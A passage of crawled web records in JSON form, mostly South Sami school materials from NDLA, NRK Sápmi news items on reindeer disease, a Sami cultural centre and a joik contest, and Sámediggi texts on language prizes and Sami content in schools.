har","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/ndla.no\/nb\/node\/172842?fag=126960","date":"2017-04-29T19:27:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917123560.51\/warc\/CC-MAIN-20170423031203-00297-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":0.9996553659,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9996553659439087}","num_words":185,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.032,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gulliegïele 2016\nGulliegïele vierhtiedimmiemoenehtse lea 2016 nænnoestamme göökte vitnijh edtjijægan dam baalhkam åadtjodh. Paarretje-guaktah Kirsi Palto jïh Jan Skoglund Paltto jïh åabpetje-guaktah Ingá Márja Steinfjell jïh Máret Steinfjell.\nKirsi Paltto jïh Jan Skoglund Paltto\nKirsi Paltto, reakadi 1974 jïh Jan Skoglund Paltto, reakadi 1961 årroeminie jïh barkeminie Karasjokesne Finnmarkesne,Nöörjesne.\nKirsi lea saemiengïelem lïereme gosse geerve lij jïh aaltese ïedtjine aerpiegïelem lohkeme masteere raajan. Dovne Jan lea saemiengïelen lohkeme jïh lissine jeatjah aamhtesh goh learoevierhtiepedagogihke.\nKirsi Paltto jïh Jan Skoglund Paltto leah bijjelen göökteluhkiej jaepiej barkeme jïh tjamki iedtijem utniejægan gïelem evtiedidh jïh vaarjelidh. Kirsi jïh Jan ligan vihkeles jïh joekoen eadtjohke orreme jïh vijriedamme dam darjomem gusnie maehtiejægan noerhtesaemien, luvlesaemien jïh åarjelsaemien evtiedidh jïh vaarjelidh.\nPaarretje-guaktah Paalto baalhkam åådtje juktie gellie jaepiej barkeme dah gïelide noerhtesaemien, luvlesaemien jïh åarjelsaemien evtiedamme.\nKirsi Paltto jïh Jan Skoglund Paltto leah sotnen ïedtjeles barkojne våaroem buektiehtamme dovne toelhkestidh jïh jarkoestidh maanajgærjah, geervelitteratuvrh, learoevierhtieh jïh maajhööhpehtimmie. Sotnen darjome lea stuerebe jïh stuerebe sjïdteme. Maajhööhpehtimmie sotnen jïjtse portaalen baaktoe E-skuvla gusnie jeenemes lea saemien lohkehtimmie maanide, noeride jïh geerve-almetjidie. Daennie barkosne lea aaj maajhööhpehtimmie goh kuvsjh jïh naan dïrregh easkah aelkiejidie jïh dah gïeh sijhtieh jienebe lohkedh. Dah nöörjen skuvli learoesoejkesjidie leah våaroem orreme ööhpehtimmide sjïehtesjadtedh skuvlide jïh gåetide.\nPaarretje-almetjh Pallto lea dej minngemes jaepide aaj orre vuekie evtiedamme gosse lea jarkoestamme dej væhtaraajroe gærjide Bamse noerhtesaemiengïelese. Dej guaktah leah aaj evtiedamme interaktijve learoevierhtie jïh appah telefovnide maanide jïh geerve-almetjidie guktie dejnie vuekine aelhkie gïelem lïeredh, dah leah aaj noerhtesaemien, luvlesaemien jïh åarjelsaemiengïelesne.\nDej jaepiej mah lij vaaseme vierhtiedimmiemoenehtse åtna Kirsi Paltto jïh Jan Skoglund Paltto vihkeles tsïeglem orreme goh lïerehtimmievuekie evtiedamme jïh dïrregh dovne aaj easkah aelkiejidie jïh maanide gïeh leah voestesgïeline, noeride jïh geerve-almetjidie.\nSotnen barkoen baaktoe dej guaktah leah vuesiehtamme jis barre eadtjohke jïh staalehke leah maahta oktegims almetje jïjnjem darjodh gïelebarkoe gaavhtan.\nIngá Márjá Steinfjell jïh Máret Steinfjell\nIngá Márja Steinfjell , reakadi 1981 jïh Máret Steinfjell, reakadi 1984 byjjenigan Kautokeino Finnmarkesne, Nöörje jïh aaj maadtoem åarjelsaemien dajvesne Nöörjen bielesne utniejægan. Åabpetje-guaktah dovne noerhtesaemien jïh åarjelsaemien soptsestægan, åarjelsaemien gïele lea mahte gaarvenamme gosse barre 500 almetjh gïeh saemiestieh. Ij åarjelsaemien govlh dan jïjnjh aarkebiejjesne, meedijisnie jallh jeatjah vihkeles sijjieh mah maehtieh maanide jïh noeride viehkiehtidh gïelem govledh.\nDovne Ingá Márjá Steinfjell jïh Máret Steinfjell lægan journalisth jïh ïedtjem utniejægan saemiestidh, dellie eeremes dam åarjelsaemiengïele. Dej guaktah leah sotnen barkoen baaktoe buektiehtamme åarjelsaemiej dajvesne jienebe sijjieh gaavnedh, gusnie maehtieh saemiestidh, jïh aaj gïelem vååjnesasse bïejedh dovne Sveerjesne jïh Nöörjesne, nemhtie guktie åarjelsaemiengïelem lea evtiedamme. Ingá Márjá jïh Máret lægan staalehkh jïh buerie mïeline dah guaktah jeatjah baalkah ohtsedamme jïh gaavneme saemien gïelen gaavhtan. Dannasinie dah guaktah lægan vihkeles guhkiedæjjah gaa jhkesh noeride abpe Saepmesne.\nDam minngemes vihkeles aamhtese maam Ingá Márjá jïh Máret Steinfjell darjoejægan åarjelsaemien gïelen gaavhtan, lea dïhte skoerehtimmie Steinfjell & Steinfjell akten tæjmoen fïerhten våhkoen mij Sveerjesne, Nöörjesne jïh Sovmesne gåvloes.\nDaennie saemien siebriedahkesne jïh noerekultuvresne lea daate programme aarkebeajjetji aamhtesi bïjre jïh aaj aamhtesh mah leah naan aejkien geerve bïjre soptsestidh bijjiedamme. Daate programme baalkam vuesehte jïh gïehtele åarjelsaemiengïele edtja soptsestimmiem gïelem sjïdtedh, mij joekoen dam åarjelsaemien aarkebiejjie gïelem iedtjelgehtedh, jïh noeride jaksa gïeh gïelem aatskadieh bååstede vaeltedh jïjtsene aerpiegïelem. Daate skoerehtimmie lea vuesiehtamme gïelelohkehtimmie ij gellien aejkien daarpesjh dan alvas årrodh, tjoevere aaj sijjem gaavnedh gusnie maehtieh lustestalledh aaj.\nEakan Ingá Márjá jïh Máret Steinfjell mestie bïllh saemiestidh jïh gaajhkesh dovnem ïdtjelgehtedh saemiestidh, seamma sahth magkerh duekiem jïh maahtoem utnieh. Dan vaeniem bodtem daate skoerehtimmie, lea sjïdteme goh gïele lea bijjiedamme mij lea vihkeles biehkiem gïeleskreejrehtimmesne dennie åarjelsaemien dajvesne jïh aaj gosse åvtese vuejniejibie abpe Saepmesne.\nVierhtiedimmiemoenehtse åtna dejtie göökte noere nyjsenæjjide ennje jienebe maehtiejægan åarjelsaemien dajvese sjïeledidh jïh åabpetje-guaktah Steinfjell åvtese skreejrie jeatjah vuekiem jïh darjomh mij åarjelsaemien staatusem bijjede jïh saemien maanide jïh noeride eevtjedh saemiestidh.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.sametinget.se\/110267","date":"2017-04-27T22:40:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122629.72\/warc\/CC-MAIN-20170423031202-00236-ip-10-145-167-34.ec2.internal.warc.gz","language":"sma","language_score":1.0000026226,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000026226043701}","num_words":611,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.139,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nahkoergöörnjen jaememe\nNahkoergöörnje jaememe\nGoh Nahkoergöörnje galki jaemedh, dellie dah altese almetjh eelkin onterdamman (onterdidh), guktie sån gåarede dejnie Nahkoergöörnjen sealojne. Jïh sïjhtin edtja rohkelidh dan stoerre Jupmielasse.\nMen Nahkoergöörnje idtji gujht dïhte provhkh naan aejkien rohkelidh Jupmielasse, provhki barre rohkelidh jïh sjïeledidh dejtie jïjtjese jupmielidie. Jeehti barre, ij satne maehtieh rohkelidh, men maahta vueliem joejkedh dan Stoerre Jupmielasse.\nDellie dïhte altese fuelhkie bïllijin jïh jeehtin: «Ij gujht die Jupmelem maehtieh joejkedh.» Men Nahkoergöörnje joejki Jupmelem vueliem. Jïh dam vueliem minngelen gåhtjoejin Stoerre Jupmelen vueline.\nGoh dellie lij joejkeme, dellie dah låavtegh eelkin svihtjemen, maaje lij öövre låedtjie. Jïh goh dellie vuartasjieh bæjjese, dellie vuejnieh ahte dïhte elmie goh rïhpese. Jïh dellie goh veelkes ledtije haalene dehtie gåeteste, goh dïhte Nahkoergöörnje jaama.\nDellie dah almetjh åadtjoejin vuejnedh ahte Jupmele novke lij govleme dan Nahkoergöörnjen rohkelassem, maaje lij barre vuelie.\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- gjøre rede for samisk fortellertradisjon og sammenligne med noen andre urfolks fortellertradisjon\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- lytte til, systematisere og sammenholde informasjon i muntlige tekster og reflektere over innholdet\n- lese og analysere tekster i ulike sjangere for å kunne ta stilling til spørsmål tekstene tar opp og verdier de representerer\n- orientere seg i tekster av ulik kompleksitet og velge ut, sammenfatte og vurdere relevant informasjon\n- lese ulike tekster og bruke dem som utgangspunkt for egen tekstproduksjon\n- beskrive ulike sagn- og eventyrvarianter og gi eksempler på spor av kulturutveksling i sagn og eventyr fra noen andre folkegrupper\n- lese utvalgte tekster fra perioden før 1965, sette dem inn i en kulturhistorisk sammenheng og reflektere over språk og innhold\n- samtale om hovedperiodene i samisk litteraturhistorie gjøre rede for joiketradisjonen og joikens status, verdi og situasjonen før og nå","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/129562?fag=126960","date":"2017-05-24T10:15:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00573.warc.gz","language":"sma","language_score":0.9529821873,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9529821872711182, \"nob_Latn_score\": 0.03446108102798462, \"sme_Latn_score\": 0.010349905118346214}","num_words":287,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.021,"flagged_words_ratio":0.0,"lang_id_score":0.978,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Draama-laavenjassh\n1. laavenjasse\nVeeljh aktem teater-vuasastallemem jallh spïele-filmem maam datne vuajneme. Buerkesth naan byjresh teater-vuasastallemisnie jallh spïele-filmesne. Tjaelieh aaj maam datne dej bïjre mïelh.\n2. laavenjasse\nUssjedh aktem spïele-filmem maam datne vuajneme. Buerkesth mij, dov mïelen mietie, lij filmen vihkielommes tsiehkie baalte-learoehkasse jallh lohkehtæjjese. Filme jarkelimmie-mieriem utni? Gusnie dahkoe jarkeli jïh tsiehkie dellie jeatjahtehti?\n3. laavenjasse\nDatne filmem jallh teaterem vuajneme, man lij galhkuve, maam idtjih veanhtedh?\nKontekst\nKompetansemål\n- Læreplan i samisk som førstespråk\n- bruke faglige kunnskaper og begreper i samtaler om tekst og språk\n- mestre ulike roller i samtaler, diskusjoner, dramatiseringer og presentasjoner\n- lese et representativt utvalg samtidstekster, skjønnlitteratur og sakprosa, og reflektere over innhold, form og formål\n- bruke ulike estetiske virkemidler og uttrykksformer i sammensatte tekster","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/ndla.no\/nb\/node\/173197?fag=126960","date":"2017-05-24T10:20:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463607811.15\/warc\/CC-MAIN-20170524093528-20170524113528-00076.warc.gz","language":"sma","language_score":0.992475152,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.992475152015686}","num_words":115,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":500.0,"cluster_detection":1} +{"text":"CWD (Chronic Wasting Disease) lea johte mij maahta båatsoem laaredh.\nVeterinærinstitudte bïevnede ahte lea johtem sarvesne gaavneme Selbuen dajvesne, jïh aerebi daan jaepien leah gedtie-aaltosne dam seamma skïemhtjielassem vueptiestamme, Nordfjella gedtiedajvesne.\n– Jis daate slïejhpe mijjien båatsoe jaaksa dellie gujhth garre biejjieh båetieh, strerhkestebe dellie iehkedsbiejjie dennie båatsojne, saemiedigkieliehtsege Gaebpien Jåvva (Ap) jeahta pressebievnese.\nNoerhte-Amerihkesne leah aerebi dam johtem gaavneme. Dotkijh eah daejrieh guktie lea Europase båateme. Viehkiedåehkie Beapmoegoerehtimmeste, Byjresedirektoraateste jïh Veterinærinstitudteste lea barkeminie dotkedh man vijries joe lea Nöörjesne jakseme.\nVeterinærinstitudte bïevnede ahte ibie annje utnieh naan vuekie nænnoestidh ahte jielije krievvve dam johtem åådtjeme. Buerie jis limh utneme naan Healsoedïenesjimmie raentie-krievvide aaj, seamma guktie joe gååvnese smaave-, jih stoerrekluhteridie. Båatsojne ibie dagkerem faaleldahkem utnieh, guktie vihkeles healsoedïenesjimmiem bovtside åadtjodh.\n– Båtsoeburrieh åarjelsaemien dajvine tjoeperdieh guktie maa sjædta jis dïhte lonte CWD gåatomelaantese båata. Dellie gujhth garre tïjje båatsojne.\nMinngemes våhkoe akte bovtse sjidti veterinærinstitudtese seedtedh, dan gaavhtan lij sovme dihte bovtsem utni CWD, mohte lij jeatja fåantoe.","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.nrk.no\/sapmi\/baella-skiemtjelasse-stoerrebe-sjaedta-1.13002453","date":"2017-09-23T04:26:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818689471.25\/warc\/CC-MAIN-20170923033313-20170923053313-00598.warc.gz","language":"sma","language_score":0.9999896288,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999896287918091}","num_words":157,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaepien 1964, goevten 29.b. dellie 35 almetjh gaavnedin jih raarastallin mejtie edtjin siebriem øørnedh. Dah dellie sijhtin jijtjen åarjelsaemien kultuvregåetiem bigkedh. Akte tjåanghkoe sijjie, gaajhk saemide gaskoe Nøørjesne. Saemien Sijtem jaepien 1979 Snåasesne bigkin.\nOrre Saemien Sijten gåetie.\nLuhkie jaepieh joe Saemien sijte barkeme jih sijhtieh orre gåetiem Horjemstangesne, bigkedh. Geerve lea jih beetnegh åadtjodh. Saemien Sijten åejvie Birgitta Fossume jeahta.\n–Njåajjarim gosse ibie naan beetneh-vierhtieh daan tjaktjen, Staaten budsjedteste åådtje. Barkoeminie daelie Saemiedigkien ektesne, guktie edtjebe åvtese barkedh. Saemien sijte åtna joekoen histovrijem maam tjoeveribie vaarjelidh Fossume jeahta.\nOrre ïedtjem.\nDaate mij lustes sjædta.\n– Daate jih Saemien sijtem heevehtidh orre ïedtjem vaadta. Gaajhk almetjidie heevehtidh, mij Saemien Sijten åvteste barkeme jih gaajhkh guesside råakedh Daelie edtjebe murriedidh, Fossume jeahta.\nJijnjh guessieh båetieh.\n– Mijjieh bøøreme gellie dejstie departemeenten politiherijstie jih Staaten tjaelijide. Ij gieh sijhth mijjene heevehtidh. Læjhkan jijnjh jeatjah guessieh almetjh, sijhtieh mijjine heevehtidh.Dihte luste. 130 almetjh gaske-beajjan båetieh Fossume jeahta.\nSaemien Sijten 50-jaepien heevehtimmie lea rahkan 1.b. Snåasesne.","id":"","dump":"CC-MAIN-2017-43","url":"https:\/\/www.nrk.no\/sapmi\/idtjin-daam-beetneh-sjieledahkem-aadtjoeh-1.12013349","date":"2017-10-19T23:47:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-43\/segments\/1508187823482.25\/warc\/CC-MAIN-20171019231858-20171020011858-00244.warc.gz","language":"sma","language_score":0.9999946356,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999946355819702}","num_words":156,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sami Grand Prix daan påasken Gouvdageajnosne orreme. 10 joejkin jih 6 laavloejin daan Saepmien støøremes musihke gaahtjemissne.\nJørgen Stenberg, Maalege, Sveerjeste vitni daam joejke gaahtjemem jih Aila Duo vitni daam laavlome gaahtjemem.\nNejlan joejke.\nJørgen Stenberg, Maalege,Sveereste joejki daan sov baahtjen Nejlan bijre. Daate lea gåalmede aejkien Stenberg meatan daan Sami Grand Prix. Voestemes aejkien lea 1995. Dihte joejkeles kaarre sjidteme jih dæjman dellie sov voestemes cd bøøti. Sami Grand Prixen mængan, dallegh Seychellene gåajka vualka, gusnie edtja konsertem utnedh.\n–Tuhtjem geerve jih musihkene jih joejkene gaahtjedh. Aelhkebe orreme idrettene gïehtelidh, dellie vuejnieh gieh sneehpemes. Jeatjah-laakan musihkene. Joekoen aavosne leam.\nGieries-voete joejkem daan mov baahtjese jih båatsoese dorjeme. Vïenhtem daam govlede.\n–Dihte mov, noere baahtje, goh båeries-aajjeskodtje båatsoesne. Båeries- laakan ussjede jih dihte mov lyjhkedse-mietie, jeahta Stenberg.\nGieries voete.\nHeli Aikio lea gieries-voeten vueliem tjaaleme maam Aila Duo laavloejigan .Daate vuelie enare saemien gielesne tjaalasovveme. Akte onne saemien giele, maam vaenie almetjh daan biejjien maehtieh soptsestidh.","id":"","dump":"CC-MAIN-2017-51","url":"https:\/\/www.nrk.no\/sapmi\/nejlan-joejke-1.11677380","date":"2017-12-13T18:08:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-51\/segments\/1512948529738.38\/warc\/CC-MAIN-20171213162804-20171213182804-00485.warc.gz","language":"sma","language_score":0.9998486042,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998486042022705}","num_words":153,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh faage-sæjrose Soptsese.\n1. laavenjasse\nGuktie daajrah akte tjaalege lea soptsese? Guktie datne maahtah soptsesem juekedh vuesiehtimmien gaavhtan dikteste jallh draameste?\n2. laavenjasse\nGuktie tjaelije maahta maam akt gieltegs soptsesisnie skaepiedidh? Tjaelieh unnemes göökte vuesiehtimmieh.\n3. laavenjasse\nUssjedh datne edtjh tjaalegem Riepie referaatese jeatjahtehtedh. Maam tjoerh dellie jeatjahtehtedh? Buerkesth.\nNovellam lohkedh jïh guarkedhKjernestoff\n- Kjernestoff\nLaavenjassh akten novelleseKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171141","date":"2019-04-19T17:10:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578527865.32\/warc\/CC-MAIN-20190419161226-20190419183226-00502.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":61,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.049,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gie jallh gïeh leah meatan soptsesisnie? Tjaelije kaanne sæjhta ovmessie jïjtsevoeth vuesiehtidh jïh dellie maahta gellie almetji bïjre soptsestidh. Tjaalege daaletjen jallh dovletjen? Daah gyhtjelassh maehtebe vaestiedidh gosse persovne- jïh byjrese-buerkiestimmide vuartasjibie.\nPersovne-buerkiestimmie\nEpihken tjaaleginie, dah litterææren almetjh vihkeles. Man gellie almetjh aktene soptsesisnie leah joekehts. Daamhtaj ij man gallesh åenehks tjaaleginie, goh novellh jïh heamturh. Guhkebe tjaaleginie, goh romaane desnie jienebh almetjh. Mijjieh dejgujmie buerebe åahpenibie dej jiehtegi, dahkoej jïh åssjaldahki tjïrrh.\nByjrese-buerkiestimmie\nTïjje, sijjie jïh byjrese\nTjoerebe aaj ussjedidh gåessie jïh gusnie dah almetjh soptsesisnie jielieh, mennie byjresisnie.\nDellie tjaelije buerkeste mejnie byjresisnie heannadimmie heannede:\n- Gåessie? Daaletje jallh dovletje?\n- Mah siebriedahke-tsiehkieh jïh barkoe-jielemh\n- Eatneme-geografijen byjrese - Interiööre\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171371","date":"2019-04-18T19:30:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578526228.27\/warc\/CC-MAIN-20190418181435-20190418203435-00277.warc.gz","language":"sma","language_score":0.9999704361,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999704360961914}","num_words":117,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Almetjh soptsesh soptsestieh jïh dellie daah soptsesh leah epihken tjaalegh. Gosse edtjh tjaalegidie lïhkebe goerehtidh, guktie dejtie eensilaakan guarkah, dellie maahtah daan vuekien mietie barkedh.\nEpihke tjaalege\nEpihken tjaalege soptsesem soptseste. Epihken tjaalege tïjjen mietie soptseste, jïh mij dej beeli heannadi. Sïejhme epihken sjangerh leah romaanh, novellh, soptsesh, heamturh, vaajesh jïh myth.\nJis datne edtjh epihke-tjaalegem analyseradidh, dellie datne maahtah daejtie gyhtjelasside gihtjedh:\n- Man bïjre tjaalege?\n- Guktie tjaelije heannadimmiej bïjre tjaala?\n- Maam tjaelije sæjhta daejnie tjaaleginie jiehtedh?\nJis datne edtjh maehtedh dejtie gyhtjelasside vaestiedidh, dellie tjoerh naan faage-jiehtegh guarkedh. Akte analyse maahta datnem viehkiehtidh lohkemem guarkedh jïh aaj datnem viehkiehtidh buerebe tjaelijinie sjïdtedh. Ovmessie analyse-jiehtegi viehkine datne maahtah eensilaakan buerkiestidh guktie tjaalege tseegkeme, jïh mah soptsestimmie-teknihkh jïh viehkie-vierhtieh tjaelije åtneme.\nEpihke-analyse\nSjïehteles tsiehkieh analysesne:\n- motijve, teema jïh dïjre\n- dahkoe jïh ov-vaantoe\n- komposisjovne\n- soptsestæjja jïh vuajnoe\n- persovne-buerkiestimmie\n- byjrese-buerkiestimmie\nBaakoeh\n|Saemien||Daaroen|\n|analyse-jiehtege||analyseuttrykk|\n|dahkoe||handling|\n|ov-vaantoe||konflikt|\n|vuajnoe||syn, synsvinkel|\nNovellam lohkedh jïh guarkedhKjernestoff\nMov aahkan gåetie jïjnjh tjïehtjelhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182064\/topic:1:179686\/resource:1:171253","date":"2019-04-25T22:45:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578742415.81\/warc\/CC-MAIN-20190425213812-20190425235812-00376.warc.gz","language":"sma","language_score":1.0000016689,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000016689300537}","num_words":153,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aarvoeh tjaalegisnie mijjese soptsestieh maam tjaelije tuhtji vihkele goh tjaalegem tjeeli. Aarvoej bïjre mah bæjjese vaaltasuvvieh tjaalegisnie. Mij lij vihkeles tjaeliejasse jïh mij lij vihkeles sov siebriedahkesne dennie tïjjesne.\nAarvoeh\nAarvoeh mah tjaalegisnie bæjjese vaaltasuvvieh mijjese soptsestieh, maam tjaelije tuhtjie vihkeles siebriedahkesne. Mijjieh maehtebe aarvoej tjïrrh guarkedh mannasinie akte karakteere ovmessie veeljemh veelti tjaalegisnie. Maam karakteerem skreejrie numhtie jallh naemhtie darjodh. Datne maahtah daejtie gyhtjelasside gihtjedh gosse edtjh tjaalegen aarvoeh gaavnedh:\n- Mïsse åejvie-persovne jaahka?\n- Mij lea vihkeles åejvie-persovnese?\n- Maam karakteeride skreejrie?\n- Maam maahta buerkiestieh maam karakteerh darjoeh?\n- Mah aarvoeh vihkeles siebriedahkesne guktie tjaalegisnie buerkiestamme?\n- Dah karakteerh seamma aarvoeh utnieh, jallh tsælloe indivijden aarvoe jïh siebriedahken aarvoe gaskem?\n- Mah aarvoeh hijven utnedh tjaalegisnie?\n- Mah aarvoeh ij leah hijven utnedh tjaalegisnie?\n- Gåessie tjaalege tjaalasovveme?\n- Mah aarvoeh lin vihkeles siebriedahkesne dennie tïjjesne?","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:192369","date":"2019-04-18T19:36:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578526228.27\/warc\/CC-MAIN-20190418181435-20190418203435-00096.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":129,"character_repetition_ratio":0.118,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmielaakesne § 6-4. Sisvegen bïjre lïerehtimmesne tjåådtje: Mieriedimmieh learoesoejkesji bïjre § 2-3 jïh § 3-4 mietie edtjieh stillemem vedtedh lïerehtimmien bïjre saemien åålmegi bïjre jïh daan åålmegen gïelen, kultuvren jïh siebriedahkejieleden bïjre mah leah ektiedamme dejtie ovmessie faagesuerkide. Gaajhkh skuvlh Nöörjesne edtjieh lïerehtimmiem vedtedh saemien tsiehkiej bïjre.\nDaate sæjhta jiehtedh gaajhkh maadthskuvlh jïh jåarhkeskuvlh Nöörjesne dïedtem utnieh lïerehtimmiem vedtedh saemiej jïh saemien tsiehkiej bïjre. Ööhpehtimmiedirektoraate lea vierhtiegærjetjem Gávnos hammoedamme, mij lea akte faageles vierhtie lohkehtæjjide gosse saemien sisveginie skuvlesne berkie.h\nGaajhkh maadthskuvlh reeremedajvesne saemien gïelese, amma maadthskuvlh saemien tjïeltine leah saemien skuvlh. Aaj skuvle saemien gïelen reeremedajven ålkolen mij lïerehtimmiem saemien gïelesne vadta, lea tjïertestamme goh saemien skuvle. Saemien skuvle edtja sjïehteladtedh guktie learohkh lïerehtimmiem åadtjoeh saemien aarvoej mietie, jïh saemien gïelen, kultuvren jïh siebriedahkejieleden bïjre. Learohkh edtjieh lïerehtimmiem åadtjodh saemien parallelle jïh seammavyörtegs learoesoejkesji mietie, mah aktem nænnoesåbpoe saemien sisvegem utnieh viertiestamme dej sïejhme learoesoejkesjigujmie.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Dienesjh2\/Lierehtimmie-jih-learoevierhtieh\/Saemien-sisvege-skuvlesne-jih-saemien-skuvle","date":"2019-10-22T21:07:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00276.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":140,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naakeninie daejstie prosjektijste saemien vuelie goh rööpses laejkie jåhta abpe prosjekten tjïrrh. Dan gaavhtan akte hijven saemien musihkejaepie sjïdteme, musihkine hijven kvaliteeteste mïsse murreds goltelidh jïh maam goltelæjjah sijhtieh lyjhkedh. Daate vuesehte saemien musihke lea ahkedh evtiedimmesne, jïh stoerre ïedtje dovne aerpievuekien vualan jïh orre musihkese.\n- Lissine dejtie ohtsemidie bæjhkoehtimmien bïjre aerpievuekien vueleste, saemien musihkerh musihkem åehpiedehtieh maam goltelæjjah sijhtieh lyjhkedh. Öörnege maahta hijven viehkievierhtine årrodh saemien artisti nuepide jienebh goltelæjjah jaksedh, saemiedigkieraerie Henrik Olsen jeahta.\nUlmie joekedimmiejgujmie lea hijven saemien musihkem eevtjedh maam jeenjesh åadtjoeh govledh. Jeenjesh daam ohtsemeöörnegem lyjhkoeh juktie vueliem jïh saemien musihkem bæjhkoehtidh, jïh Saemiedigkie stoerre ïedtjem dååjroe.\nDej gaskem mah dåarjoem åådtjeme lea KEIINO, mij dåarjoem åådtjeme sov voestes albumasse. Albume sæjhta veartenevijries musihkeprosjektine årrodh, gusnie lissine jïjtse komposisjovnide aaj laavlomh mejgujmie jeatjah 